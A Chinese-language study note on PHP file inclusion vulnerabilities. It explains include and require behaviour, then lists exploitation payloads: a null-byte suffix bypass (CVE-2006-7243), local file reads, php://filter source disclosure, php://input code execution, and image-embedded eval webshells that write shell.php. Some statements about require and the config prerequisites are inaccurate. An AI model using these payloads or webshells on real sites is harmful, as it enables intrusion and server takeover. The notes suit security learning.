【笔记】PHP的文件包含漏洞
前言
PHP的文件包含漏洞
文件包含
include
- 可以包含相同文件多次
- 当引入失败后,后面的代码能正常执行
<file_php>:其他php文件
1 | include "<file_php>"; |
1 | include("<file_php>"); |
include_once
- 如果包含相同文件多次,只有第一次生效
- 当引入失败后,后面的代码能正常执行
1 | include_once "<file_php>"; |
1 | include_once("<file_php>"); |
require
- 可以包含相同文件多次
- 当引入失败后,不会结束脚本运行,只是产生警告,后面的代码不能正常执行
1 | require "<file_php>"; |
1 | require("<file_php>"); |
require_once
- 如果包含相同文件多次,只有第一次生效
- 当引入失败后,直接结束脚本运行,后面的代码不能正常执行
1 | require_once "<file_php>"; |
1 | require_once("<file_php>"); |
可能出现漏洞的代码
- Web应用实现了动态包含
- 动态包含的文件路径参数,客户端可控
1 | include $_GET['path']; |
防御绕过
- 编号:CVE-2006-7243
前提
- PHP小于5.3.4
- 防御方法是为包含的文件追加后缀名
1 | include $_GET['path'].".html"; |
- 配置文件中关闭了魔术引号
如果不关闭魔术引导,%00会变为\0
1 | magic_quotes_gpc = Off; |
绕过方法
- 使用空字节绕过,原理类似于00截断
<file_php>:PHP文件
1 | http://127.0.0.1:80/index.php?path=<file_php>%00 |
漏洞利用
- 通常要与文件上传配合
读取文件
http://127.0.0.1:80/index.php?path=c:\windows\System32\drivers\etc\hosts
访问本地文件
http://127.0.0.1:80/index.php?path=file://c:\windows\System32\drivers\etc\hosts
获取PHP文件内容的base64编码
- 前提:配置文件开启远程文件包含
<file_php>:远程文件
http://127.0.0.1:80/index.php?path=php://filter/read=convert.base64-encode/resource=<file_php>
执行PHP命令
前提:配置文件开启远程文件包含
请求地址:
http://127.0.0.1:80/index.php?path=php://input请求体:php代码
图片木马
- 直接上传图片马
<pwd>:连接密码
- 右键图片文件->
属性->详细信息->版权写<?php eval($_REQUEST["<pwd>"]);?>
利用图片写木马
- 先上传图片马,然后让图片马写入木马到其他文件
shell.php:写入的文件名
- 右键图片文件->
属性->详细信息->版权写<?php fputs(fopen('shell.php','w'),"<?php eval($_REQUEST["<pwd>"]);?>");?>
相关配置
1 | # 无论开关都不能关闭文件包含功能 |